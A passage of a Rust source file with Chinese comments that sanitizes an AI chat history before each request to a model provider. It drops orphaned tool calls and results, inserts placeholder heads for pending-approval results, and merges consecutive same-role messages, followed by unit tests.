/// 不清历史 → agentic 重发 → 永久卡死。此处仅在「发送视图」剔除畸形配对,
|
||||
/// 不改持久化(self.messages 全量保留),让卡死的会话能自愈继续。
|
||||
///
|
||||
/// provider 协议铁律:assistant 头里每个 tool_call.id 都必须在后续有对应的
|
||||
/// tool_result,否则服务端 400/500。本函数按此自愈,分三档处理每个头:
|
||||
///
|
||||
/// - 全闭合:所有 tool_call.id 都有匹配 tool_result → 原样保留。
|
||||
/// - 全未闭合(含占位 id 必然无匹配):整头丢弃,其无主 tool_result 一并丢弃。
|
||||
/// - 部分闭合:保留头但只留已闭合的 tool_call,丢弃未闭合的 tool_call 及其
|
||||
/// 无主 tool_result(「不能整条删」——保住已发生的合法工具交互历史)。
|
||||
///
|
||||
/// 单次遍历、保序过滤、不重排(user/assistant/tool 角色交替不被打乱)。
|
||||
pub fn sanitize_messages(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
use std::collections::HashSet;
|
||||
|
||||
// step 0(UX-09):过滤 truncated 软删消息,不进 LLM 上下文。
|
||||
// 编辑某条 user 消息后其后续消息标 truncated(保留 DB 可追溯),发送视图必须剔除,
|
||||
// 否则被编辑前的旧回复仍进入 LLM 历史,污染重生成语义。落库全量保留不受影响。
|
||||
let messages: Vec<ChatMessage> = messages
|
||||
.into_iter()
|
||||
.filter(|m| m.is_active())
|
||||
.collect();
|
||||
|
||||
// step 1:已闭合的 tool_call_id 集合(role=Tool 消息全部提供过的 id)
|
||||
let resolved_ids: HashSet<&str> = messages
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.filter_map(|m| m.tool_call_id.as_deref())
|
||||
.collect();
|
||||
|
||||
// step 2:判定每个 assistant 头的闭合状态,产出需丢弃的 id 集合
|
||||
// orphaned_ids:未闭合的 tool_call.id(含占位 id),其 tool_result 要丢
|
||||
// partial_heads:部分闭合的头——保留但需重写 tool_calls(只留已闭合的)
|
||||
// full_drop_heads:全未闭合的头——整条丢弃
|
||||
let mut orphaned_ids: HashSet<String> = HashSet::new();
|
||||
let mut full_drop_heads = 0u32;
|
||||
let mut partial_heads = 0u32;
|
||||
// 记录部分闭合头中「应保留的 id」,用于 step3 精确重写
|
||||
let mut partial_keep: std::collections::HashMap<usize, Vec<ToolCall>> =
|
||||
std::collections::HashMap::new();
|
||||
|
||||
for (i, m) in messages.iter().enumerate() {
|
||||
if !matches!(m.role, MessageRole::Assistant) {
|
||||
continue;
|
||||
}
|
||||
let Some(calls) = m.tool_calls.as_ref() else { continue };
|
||||
if calls.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let (resolved, unresolved): (Vec<&ToolCall>, Vec<&ToolCall>) = calls
|
||||
.iter()
|
||||
.partition(|c| {
|
||||
!c.id.starts_with(TOOL_MISSING_PREFIX)
|
||||
&& resolved_ids.contains(c.id.as_str())
|
||||
});
|
||||
|
||||
match (resolved.is_empty(), unresolved.is_empty()) {
|
||||
// 全未闭合 → 整头丢弃,未闭合 id 入 orphaned_ids
|
||||
(true, false) => {
|
||||
full_drop_heads += 1;
|
||||
for c in &unresolved {
|
||||
orphaned_ids.insert(c.id.clone());
|
||||
}
|
||||
}
|
||||
// 全闭合 → 原样保留
|
||||
(false, true) => {}
|
||||
// 部分闭合 → 保留头,只留 resolved 的 tool_call,unresolved 入 orphaned_ids
|
||||
(false, false) => {
|
||||
partial_heads += 1;
|
||||
for c in &unresolved {
|
||||
orphaned_ids.insert(c.id.clone());
|
||||
}
|
||||
partial_keep.insert(i, resolved.into_iter().cloned().collect());
|
||||
}
|
||||
// resolved/unresolved 都空不可能(calls 非空已保证)
|
||||
(true, true) => {}
|
||||
}
|
||||
}
|
||||
|
||||
let after_triplet: Vec<ChatMessage> = if orphaned_ids.is_empty() && partial_keep.is_empty() {
|
||||
messages
|
||||
} else {
|
||||
// step 3:保序过滤 + 部分闭合头重写 tool_calls
|
||||
let sanitized: Vec<ChatMessage> = messages
|
||||
.into_iter()
|
||||
.enumerate()
|
||||
.filter_map(|(i, mut m)| match m.role {
|
||||
MessageRole::Assistant => {
|
||||
let Some(calls) = m.tool_calls.as_ref() else { return Some(m) };
|
||||
if calls.is_empty() {
|
||||
return Some(m);
|
||||
}
|
||||
if let Some(keep) = partial_keep.get(&i) {
|
||||
// 部分闭合:重写 tool_calls 为仅已闭合子集
|
||||
m.tool_calls = Some(keep.clone());
|
||||
Some(m)
|
||||
} else {
|
||||
// 全闭合:保留;全未闭合(id 全在 orphaned_ids):丢弃
|
||||
let all_orphaned =
|
||||
calls.iter().all(|c| orphaned_ids.contains(&c.id));
|
||||
if all_orphaned {
|
||||
None
|
||||
} else {
|
||||
Some(m)
|
||||
}
|
||||
}
|
||||
}
|
||||
MessageRole::Tool => {
|
||||
// 无主 tool_result(其 id 命中 orphaned_ids)丢弃,其余保留
|
||||
if m
|
||||
.tool_call_id
|
||||
.as_deref()
|
||||
.is_some_and(|id| orphaned_ids.contains(id))
|
||||
{
|
||||
None
|
||||
} else {
|
||||
Some(m)
|
||||
}
|
||||
}
|
||||
_ => Some(m),
|
||||
})
|
||||
.collect();
|
||||
|
||||
tracing::warn!(
|
||||
full_drop_heads,
|
||||
partial_rewrite_heads = partial_heads,
|
||||
orphaned_tool_results = orphaned_ids.len(),
|
||||
"history sanitized: dropped/rewrote malformed tool_call triplets (view-only, persisted history untouched)"
|
||||
);
|
||||
sanitized
|
||||
};
|
||||
|
||||
// step 3.5(阶段2 占位配对完整性):反向 orphan 检测 —— tool_result 无对应 tool_call 头 → 丢。
|
||||
//
|
||||
// 根因(解 400 orphan):审批挂起占位 tool_result(内容 audit/cache.rs:PENDING_APPROVAL_PLACEHOLDER)
|
||||
// 经 step3(正向 orphan:头无 result→丢头 + 其 result)或 build_eviction_units(预算裁剪从三元组
|
||||
// 边界 trim)后,可能出现 tool_result 残留但其 tool_call 头已被丢弃 → orphan tool_result(无头)。
|
||||
// deepseek-v4-pro 等端点对此严格校验 → 400。
|
||||
//
|
||||
// 检测:收集所有保留的 assistant 头的 tool_call.id 集合(head_ids),tool_result 的 id 不在
|
||||
// head_ids 内即 orphan → 丢。与 step2/3 互补:step2/3 管"头丢 result",step3.5 管"result 丢头"。
|
||||
//
|
||||
// **占位保护**:带 PENDING_MARKER_PREFIX 标记的审批占位 tool_result,虽其头被丢,仍需保留——
|
||||
// 占位语义是"等用户审批",LLM 需看到它才知道在等审批。故对占位 result 不做反向 orphan 丢弃,
|
||||
// 改由出口断言(build_for_request 出口)自愈补头(见 assert_placeholder_pairing)。
|
||||
// 老占位(无 __PENDING__ 标记,纯文本 LEGACY_PENDING_PLACEHOLDER_TEXT)同样豁免保留
|
||||
// (is_pending_placeholder 精确等值匹配老占位全文),虽无 tc_id 无法强绑定补头,但保留后
|
||||
// 出口断言仍能据其 tool_call_id 补占位头闭合三元组(向前兼容迁移期老数据)。
|
||||
let after_reverse_orphan = if PLACEHOLDER_INTEGRITY_ENABLED {
|
||||
drop_reverse_orphans(after_triplet)
|
||||
} else {
|
||||
after_triplet
|
||||
};
|
||||
|
||||
// step 4:序列合法性修复(首条 user + 连续同 role 合并),防 Anthropic/GLM 1214。
|
||||
ensure_sequence_legal(after_reverse_orphan)
|
||||
}
|
||||
|
||||
/// step 3.5:反向 orphan 检测(view-only)—— 丢弃无对应 tool_call 头的 tool_result。
|
||||
///
|
||||
/// 详见 [`sanitize_messages`] step3.5 注释。占位 result(带 PENDING_MARKER_PREFIX 标记)豁免
|
||||
/// (保留,出口断言自愈补头),其余 tool_result 的 id 不在任何保留头 tool_calls 内 → 丢。
|
||||
pub fn drop_reverse_orphans(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
// 收集所有保留 assistant 头的 tool_call.id(正向 orphan 处理后残留的头里的 id)
|
||||
use std::collections::HashSet;
|
||||
let head_ids: HashSet<String> = messages
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.filter_map(|m| m.tool_calls.as_ref())
|
||||
.flatten()
|
||||
.map(|c| c.id.clone())
|
||||
.collect();
|
||||
|
||||
let mut dropped = 0u32;
|
||||
let mut placeholder_kept = 0u32;
|
||||
let filtered: Vec<ChatMessage> = messages
|
||||
.into_iter()
|
||||
.filter(|m| {
|
||||
if !matches!(m.role, MessageRole::Tool) {
|
||||
return true;
|
||||
}
|
||||
let Some(id) = m.tool_call_id.as_deref() else {
|
||||
return true; // 无 id 的 tool_result(异常数据),不在此处处理
|
||||
};
|
||||
if head_ids.contains(id) {
|
||||
return true; // 有对应头 → 保留
|
||||
}
|
||||
// 无对应头:占位(带标记)豁免保留(出口断言自愈补头);非占位 → 丢
|
||||
if is_pending_placeholder(&m.content) {
|
||||
placeholder_kept += 1;
|
||||
true
|
||||
} else {
|
||||
dropped += 1;
|
||||
false
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
if dropped > 0 || placeholder_kept > 0 {
|
||||
tracing::warn!(
|
||||
dropped_reverse_orphan_tool_results = dropped,
|
||||
placeholder_kept_without_head = placeholder_kept,
|
||||
"history sanitized: dropped orphan tool_results without matching tool_call head (view-only, persisted history untouched)"
|
||||
);
|
||||
}
|
||||
filtered
|
||||
}
|
||||
|
||||
/// 发送视图出口断言(阶段2 占位配对完整性):确保所有 tool_result(含审批占位)都有
|
||||
/// 对应 tool_call 头,失败降级 TOOL_MISSING_PREFIX 自愈。
|
||||
///
|
||||
/// **职责**:在消息即将发给 LLM 前(`build_for_request` 出口)最后一道防线:若仍有
|
||||
/// orphan tool_result(sanitize step3.5 豁免保留的占位 result,其头在 step3/裁剪中被丢),
|
||||
/// 则**就地补一个 tool_missing_ 占位头**塞在 tool_result 前,使其配对闭合。
|
||||
///
|
||||
/// **未接入出口**:`compress_via_llm`(src-tauri 侧 F-15 压缩)与 agentic loop 主循环也属
|
||||
/// "发给 LLM 前"语义,但二者均在 src-tauri crate(非 df-ai),当前未调本函数——如需对压缩
|
||||
/// 后消息同样补头,由调用方在拿到压缩结果后自行调本函数闭合(本 crate 不强加跨 crate 依赖)。
|
||||
///
|
||||
/// 自愈原理:占位头带 TOOL_MISSING_PREFIX id,该 id 必然无"真"匹配,但与紧跟的 orphan
|
||||
/// tool_result(同 id)构成闭合三元组(头 + result 都在,id 一致)→ 满足 provider 协议
|
||||
/// "每个 tool_call.id 必须有 tool_result"的铁律,不再 400。占位头的 id 用 tool_result 的
|
||||
/// tool_call_id 复用(而非 tool_missing_{idx} 自增),保证与 result 精确配对。
|
||||
///
|
||||
/// **view-only**:本函数不改持久化,仅修改传入 Vec(clone),持久化全量保留。
|
||||
/// 占位头补在 orphan result **正前方**(保序,角色交替 assistant→tool 合法),content 给空串
|
||||
/// (LLM 看 assistant 头无文本内容但有 tool_calls 即理解"调了工具")。
|
||||
///
|
||||
/// `enabled` 参数由调用方传入(常量 flag),false 时直接原样返回(旧行为,flag 关回退)。
|
||||
pub fn assert_placeholder_pairing(
|
||||
messages: Vec<ChatMessage>,
|
||||
enabled: bool,
|
||||
) -> Vec<ChatMessage> {
|
||||
if !enabled {
|
||||
return messages;
|
||||
}
|
||||
// 收集现有头的 tool_call.id(已配对的)
|
||||
use std::collections::HashSet;
|
||||
let head_ids: HashSet<String> = messages
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.filter_map(|m| m.tool_calls.as_ref())
|
||||
.flatten()
|
||||
.map(|c| c.id.clone())
|
||||
.collect();
|
||||
|
||||
// 找 orphan tool_result(id 不在 head_ids)。占位/非占位都需补头(否则 400)。
|
||||
// 单次遍历产出新 Vec:orphan result 前插一个占位头(同 id),其余原样保留保序。
|
||||
let mut healed = 0u32;
|
||||
let mut out: Vec<ChatMessage> = Vec::with_capacity(messages.len());
|
||||
for m in messages.into_iter() {
|
||||
if matches!(m.role, MessageRole::Tool) {
|
||||
if let Some(id) = m.tool_call_id.as_deref() {
|
||||
if !head_ids.contains(id) && !id.starts_with(TOOL_MISSING_PREFIX) {
|
||||
// orphan result → 前补占位头(TOOL_MISSING_PREFIX + 原 id,确保唯一且与 result 配对)
|
||||
let head_id = format!("{}{}", TOOL_MISSING_PREFIX, id);
|
||||
let head = ChatMessage::assistant_with_tools(
|
||||
String::new(),
|
||||
vec![ToolCall::new(head_id.clone(), "pending_approval_placeholder", "{}")],
|
||||
);
|
||||
out.push(head);
|
||||
// 把 result 的 tool_call_id 也改写成占位头 id,使三者精确配对
|
||||
let mut result = m;
|
||||
result.tool_call_id = Some(head_id);
|
||||
out.push(result);
|
||||
healed += 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
out.push(m);
|
||||
}
|
||||
if healed > 0 {
|
||||
tracing::warn!(
|
||||
healed_orphan_tool_results = healed,
|
||||
"send-view exit: healed orphan tool_results by inserting TOOL_MISSING_PREFIX heads (view-only, persisted history untouched)"
|
||||
);
|
||||
// 加固(连续 assistant→400):补占位头可能插在普通 assistant 之后,产生连续 assistant
|
||||
// (普通 assistant + 占位 assistant + tool_result)。Anthropic/GLM 协议对连续同 role
|
||||
// 敏感,会 400/1214。ensure_sequence_legal 在 sanitize 末尾已跑过(早于本函数),无法捕获
|
||||
// 本函数新插入的头。故补头后再过一次 ensure_sequence_legal:合并连续 assistant(其
|
||||
// tool_calls 合并入前一头,占位头 id 与 result id 一致,合并后配对仍闭合) + 防补头
|
||||
// 致首条变 assistant(理论上 orphan result 前必有 user/assistant,但防御性兜底)。
|
||||
//
|
||||
// view-only:out 是 clone,ensure_sequence_legal 仅改本 Vec,不改持久化。
|
||||
return ensure_sequence_legal(out);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// step 4:序列合法性修复(Anthropic/GLM Messages API 协议铁律,view-only 不改持久化)。
|
||||
///
|
||||
/// 协议要求首条必须是 user(system 由 convert_request 抽顶层)。sanitize step0(is_active 过滤)
|
||||
/// 与超预算裁剪(build_eviction_units 从三元组边界 trim)可能使首条变成 assistant/tool_result
|
||||
/// (开头 user 被裁/滤)→ 触发端点 1214「messages 参数非法」。
|
||||
///
|
||||
/// 修复:丢弃开头的 assistant/tool 消息(无前置 user 的孤儿,发也非法),直到首个 user/system。
|
||||
/// 注:连续同 role(user/user、assistant/assistant)现实极少——裁剪按三元组原子保护不产生连续 user,
|
||||
/// archived/compressed 过滤后由摘要 system 占位——故本轮不合并(合并会破坏裁剪保护区语义 + 改变条数,
|
||||
/// 致 over_budget_trims_old 等测试失败)。若运行时日志显示连续 role 也是 1214 来源,再补合并。
|
||||
pub fn ensure_sequence_legal(messages: Vec<ChatMessage>) -> Vec<ChatMessage> {
|
||||
let mut skipped = 0u32;
|
||||
let mut merged = 0u32;
|
||||
let mut fixed: Vec<ChatMessage> = Vec::with_capacity(messages.len());
|
||||
for m in messages {
|
||||
// 首条必须 user:skip 开头 assistant/tool(无前置 user 的孤儿)
|
||||
if fixed.is_empty() && matches!(m.role, MessageRole::Assistant | MessageRole::Tool) {
|
||||
skipped += 1;
|
||||
continue;
|
||||
}
|
||||
// 连续同 role 合并(user content;assistant content+tool_calls;Tool 不合并——
|
||||
// 连续 tool_result 由 anthropic_compat flush_tool_results 合并成 user blocks,此处合会丢 id)
|
||||
if let Some(last) = fixed.last_mut() {
|
||||
let same_role = std::mem::discriminant(&last.role) == std::mem::discriminant(&m.role);
|
||||
if same_role && matches!(m.role, MessageRole::User | MessageRole::Assistant) {
|
||||
if !m.content.is_empty() {
|
||||
if !last.content.is_empty() {
|
||||
last.content.push('\n');
|
||||
}
|
||||
last.content.push_str(&m.content);
|
||||
}
|
||||
if matches!(m.role, MessageRole::Assistant) {
|
||||
if let Some(calls) = m.tool_calls {
|
||||
last.tool_calls.get_or_insert_with(Vec::new).extend(calls);
|
||||
}
|
||||
}
|
||||
merged += 1;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
fixed.push(m);
|
||||
}
|
||||
if skipped > 0 || merged > 0 {
|
||||
tracing::warn!(
|
||||
skipped,
|
||||
merged,
|
||||
"序列修复:skip 开头非 user + 合并连续同 role(view-only,避免 Anthropic/GLM 1214)"
|
||||
);
|
||||
}
|
||||
fixed
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::context::ContextManager;
|
||||
use crate::context_helpers::ContextConfig;
|
||||
|
||||
fn cfg(max_tokens: u32) -> ContextConfig {
|
||||
ContextConfig {
|
||||
max_tokens,
|
||||
output_reserve: 0,
|
||||
safety_ratio: 1.0,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_drops_placeholder_id_triplet() {
|
||||
// 中毒场景:assistant 头带 tool_missing_ 占位 id + 无主 tool_result
|
||||
// → build_for_request 必须剔除两者,否则下次回传触发 provider 500 死循环
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("调用工具"));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("tool_missing_0", "read_file", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("tool_missing_0", "结果"));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
// 中毒的 head + 无主 tool_result 全部剔除,只剩首条 user
|
||||
assert_eq!(msgs.len(), 1, "占位 id 三元组应被 sanitize 剔除");
|
||||
assert_eq!(msgs[0].content, "调用工具");
|
||||
// 持久化全量保留(自愈只改发送视图)
|
||||
assert_eq!(mgr.all_messages_clone().len(), 3, "sanitize 不应污染内存全量");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_drops_unresolved_tool_call_head() {
|
||||
// 真实 id 但全无 tool_result(流式中断/异常)→ 全未闭合档,整头丢弃
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("call_a", "fn_a", "{}"), ToolCall::new("call_b", "fn_b", "{}")],
|
||||
));
|
||||
// 两个 call 都无 result → 整头丢弃
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
assert!(msgs.iter().all(|m| !matches!(m.role, MessageRole::Assistant)
|
||||
|| m.tool_calls.as_ref().is_none_or(|c| c.is_empty())),
|
||||
"全未闭合的 assistant 头应被剔除");
|
||||
assert!(msgs.is_empty(), "全未闭合应整条删");
|
||||
assert_eq!(mgr.all_messages_clone().len(), 1, "全量保留");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_partial_resolve_rewrites_head() {
|
||||
// 多 tool_call,部分有匹配部分无 → 保留头但只留已闭合的,丢弃无主 result
|
||||
// provider 协议铁律:head 的每个 tool_call.id 必须都有 tool_result。
|
||||
// 「不能整条删」——保住已发生的合法工具交互(call_b)历史。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("触发工具"));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("call_a", "fn_a", "{}"), ToolCall::new("call_b", "fn_b", "{}")],
|
||||
));
|
||||
// 只有 call_b 有 result → call_a 未闭合
|
||||
mgr.push(ChatMessage::tool_result("call_b", "b 结果"));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
|
||||
// 头被保留(不是整条删),但 tool_calls 重写为只剩已闭合的 call_b
|
||||
let assistant_heads: Vec<_> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||
.collect();
|
||||
assert_eq!(assistant_heads.len(), 1, "部分闭合头应保留(重写不删)");
|
||||
let head_calls = assistant_heads[0].tool_calls.as_ref().unwrap();
|
||||
assert_eq!(head_calls.len(), 1, "重写后只保留 1 个已闭合 tool_call");
|
||||
assert_eq!(head_calls[0].id, "call_b", "保留的应是已闭合的 call_b");
|
||||
assert!(
|
||||
head_calls.iter().all(|c| c.id != "call_a"),
|
||||
"未闭合的 call_a 应从重写后的 tool_calls 中移除"
|
||||
);
|
||||
|
||||
// tool_result 只剩 call_b 的,user 前置保留
|
||||
let tool_msgs: Vec<_> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.collect();
|
||||
assert_eq!(tool_msgs.len(), 1, "只保留 call_b 的 tool_result");
|
||||
assert_eq!(tool_msgs[0].tool_call_id.as_deref(), Some("call_b"));
|
||||
assert!(
|
||||
msgs.iter()
|
||||
.any(|m| matches!(m.role, MessageRole::User) && m.content == "触发工具"),
|
||||
"无关 user 消息不应被误删"
|
||||
);
|
||||
assert_eq!(mgr.all_messages_clone().len(), 3, "sanitize 不应污染内存全量");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_keeps_well_formed_triplet() {
|
||||
// 正常三元组:user → head(tool_call 有匹配 tool_result) → tool_result,不被剔除。
|
||||
// 首条必须是 user(step4 Anthropic 协议修复),故前置一条 user 消息。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("问题"));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("call_a", "fn_a", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("call_a", "结果"));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
assert_eq!(msgs.len(), 3, "正常三元组不应被 sanitize 剔除");
|
||||
}
|
||||
|
||||
// ── 阶段2 占位配对完整性(解 400 orphan):反向 orphan 检测 + 出口自愈 ──
|
||||
|
||||
#[test]
|
||||
fn sanitize_drops_reverse_orphan_tool_result() {
|
||||
// 反向 orphan:tool_result 无对应 tool_call 头(头被裁/丢)→ sanitize step3.5 丢弃。
|
||||
// 非 pending 占位(普通 tool_result)直接丢,防 provider 400 orphan。
|
||||
let msgs = vec![
|
||||
ChatMessage::user("问题"),
|
||||
ChatMessage::tool_result("orphan_id", "孤儿结果无头"),
|
||||
];
|
||||
let sanitized = sanitize_messages(msgs);
|
||||
assert!(
|
||||
sanitized.iter().all(|m| !matches!(m.role, MessageRole::Tool)),
|
||||
"无头的普通 tool_result 应被反向 orphan 检测丢弃, 实际 {:?}",
|
||||
sanitized
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_keeps_reverse_orphan_pending_placeholder() {
|
||||
// 反向 orphan 但内容是 pending 占位(带 __PENDING__ 标记)→ step3.5 豁免保留
|
||||
// (占位语义"等审批",出口断言自愈补头)。验证占位保护不误丢。
|
||||
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_1";
|
||||
let msgs = vec![
|
||||
ChatMessage::user("问题"),
|
||||
ChatMessage::tool_result("call_pending_1", placeholder_content),
|
||||
];
|
||||
let sanitized = sanitize_messages(msgs);
|
||||
let kept: Vec<_> = sanitized
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Tool))
|
||||
.collect();
|
||||
assert_eq!(kept.len(), 1, "pending 占位 tool_result 应豁免保留,不丢");
|
||||
assert_eq!(kept[0].tool_call_id.as_deref(), Some("call_pending_1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_for_request_heals_orphan_pending_placeholder_via_exit_assert() {
|
||||
// 端到端:pending 占位 tool_result(无头)经 sanitize 保留 → 出口断言补 TOOL_MISSING_PREFIX
|
||||
// 头自愈 → 发送视图含闭合三元组(占位头 + 占位 result,id 配对)。防 400 orphan。
|
||||
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_2";
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("问题"));
|
||||
mgr.push(ChatMessage::tool_result("call_pending_2", placeholder_content));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
|
||||
// 出口断言补了占位头 → 必有 assistant 头含 tool_missing_ 前缀 id
|
||||
let healed_heads: Vec<_> = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.filter_map(|m| m.tool_calls.as_ref())
|
||||
.flatten()
|
||||
.filter(|c| c.id.starts_with("tool_missing_"))
|
||||
.collect();
|
||||
assert_eq!(healed_heads.len(), 1, "出口断言应补 1 个 TOOL_MISSING_PREFIX 占位头");
|
||||
// 占位头 id 应含原 tool_call_id(精确配对)
|
||||
assert!(
|
||||
healed_heads[0].id.contains("call_pending_2"),
|
||||
"补的头 id 应含原 tool_call_id, 实际 {}",
|
||||
healed_heads[0].id
|
||||
);
|
||||
// result 的 tool_call_id 也被改写为占位头 id(三者精确配对)
|
||||
let result_id = msgs
|
||||
.iter()
|
||||
.find(|m| matches!(m.role, MessageRole::Tool))
|
||||
.and_then(|m| m.tool_call_id.clone())
|
||||
.expect("应有 tool_result");
|
||||
assert_eq!(result_id, healed_heads[0].id, "result id 应与补的头 id 一致(闭合配对)");
|
||||
// 持久化全量保留(view-only)
|
||||
assert_eq!(mgr.all_messages_clone().len(), 2, "自愈不应污染持久化");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_for_request_keeps_well_formed_triplet_under_placeholder_integrity() {
|
||||
// 回归:启用占位配对完整性后,正常闭合三元组不被误补头(无 orphan)。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("问题"));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("call_ok", "fn", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("call_ok", "正常结果"));
|
||||
let (msgs, _trimmed) = mgr.build_for_request(0);
|
||||
// 无 tool_missing_ 头(正常三元组不需自愈)
|
||||
let missing_heads = msgs
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.filter_map(|m| m.tool_calls.as_ref())
|
||||
.flatten()
|
||||
.filter(|c| c.id.starts_with("tool_missing_"))
|
||||
.count();
|
||||
assert_eq!(missing_heads, 0, "正常闭合三元组不应被补占位头");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn assert_placeholder_pairing_no_consecutive_assistant_after_head_insert() {
|
||||
// 加固(连续 assistant→400):补占位头插在 orphan tool_result 正前方,若 orphan result 的
|
||||
// 前一条恰是 assistant(无 tool_result 隔开),则补头后产生**连续 assistant**
|
||||
// (前 assistant + 占位 assistant + tool_result)→ Anthropic/GLM 协议 400/1214。
|
||||
// 出口断言补头后必须再过一次 ensure_sequence_legal 合并连续 assistant,使其不触发 provider 拒绝。
|
||||
//
|
||||
// 构造真正触发连续 assistant 的序列:user → 纯文本 assistant(无 tool_calls) →
|
||||
// orphan pending 占位 tool_result(call_pending,无头)。占位 result 经 sanitize step3.5
|
||||
// 豁免保留(带 __PENDING__),出口断言在 result 正前方补占位头(其前驱正是 assistant)
|
||||
// → 补后序列 user → assistant(纯文本) → assistant(占位头) → tool_result = 连续 assistant。
|
||||
//
|
||||
// 注:前版本用「带 tool_calls 的 assistant + tool_result(闭合) + orphan 占位 result」,
|
||||
// 补头后前驱是 tool_result 而非 assistant,根本不产生连续 assistant,断言恒真(未真测)。
|
||||
// 本版把前驱改成纯文本 assistant(无 tool_result 隔开),才能真正触发合并路径。
|
||||
let placeholder_content = "需要用户审批,等待确认__PENDING__:call_pending_cc";
|
||||
let msgs = vec![
|
||||
ChatMessage::user("问题"),
|
||||
ChatMessage::assistant("纯文本回复(无 tool_calls)"),
|
||||
ChatMessage::tool_result("call_pending_cc", placeholder_content),
|
||||
];
|
||||
let sanitized = sanitize_messages(msgs.clone());
|
||||
// 前置确认:sanitize 后占位 result 仍豁免保留(step3.5),序列保留 assistant→tool_result
|
||||
assert_eq!(sanitized.len(), 3, "占位 result 应豁免保留, 实际 {:?}", sanitized);
|
||||
assert!(sanitized.iter().any(|m|
|
||||
matches!(m.role, MessageRole::Tool)
|
||||
&& m.tool_call_id.as_deref() == Some("call_pending_cc")
|
||||
), "占位 tool_result 应保留");
|
||||
|
||||
let healed = assert_placeholder_pairing(sanitized, PLACEHOLDER_INTEGRITY_ENABLED);
|
||||
|
||||
// 断言:补了占位头(tool_missing_ 前缀 id)
|
||||
let missing_heads: Vec<_> = healed
|
||||
.iter()
|
||||
.filter(|m| matches!(m.role, MessageRole::Assistant))
|
||||
.filter_map(|m| m.tool_calls.as_ref())
|
||||
.flatten()
|
||||
.filter(|c| c.id.starts_with(TOOL_MISSING_PREFIX))
|
||||
.collect();
|
||||
assert_eq!(
|
||||
missing_heads.len(),
|
||||
1,
|
||||
"应补 1 个占位头, 实际 {:?}",
|
||||
missing_heads
|
||||
);
|
||||
|
||||
// 核心断言:不应存在连续 assistant(任一 assistant 紧邻前一 assistant 视为连续)。
|
||||
// 若出口断言补头后未过 ensure_sequence_legal,会留连续 assistant(纯文本 assistant +
|
||||
// 占位 assistant)→ consecutive >= 1,本断言失败。合并后 consecutive 必须 0。
|
||||
let mut prev_is_assistant = false;
|
||||
let mut consecutive = 0u32;
|
||||
for m in &healed {
|
||||
let is_assistant = matches!(m.role, MessageRole::Assistant);
|
||||
if is_assistant && prev_is_assistant {
|
||||
consecutive += 1;
|
||||
}
|
||||
prev_is_assistant = is_assistant;
|
||||
}
|
||||
assert_eq!(
|
||||
consecutive, 0,
|
||||
"补占位头后不应有连续 assistant(应被合并), 实际序列 {:?}",
|
||||
healed
|
||||
.iter()
|
||||
.map(|m| format!("{:?}", m.role))
|
||||
.collect::<Vec<_>>()
|
||||
);
|
||||
|
||||
// 合并验证:补的占位头应被并入前一个纯文本 assistant(其 tool_calls 从 None→Some[占位头]),
|
||||
// 而非独立成条(独立成条才会连续 assistant)。即 healed 里 assistant 消息数 == 1(原纯文本头
|
||||
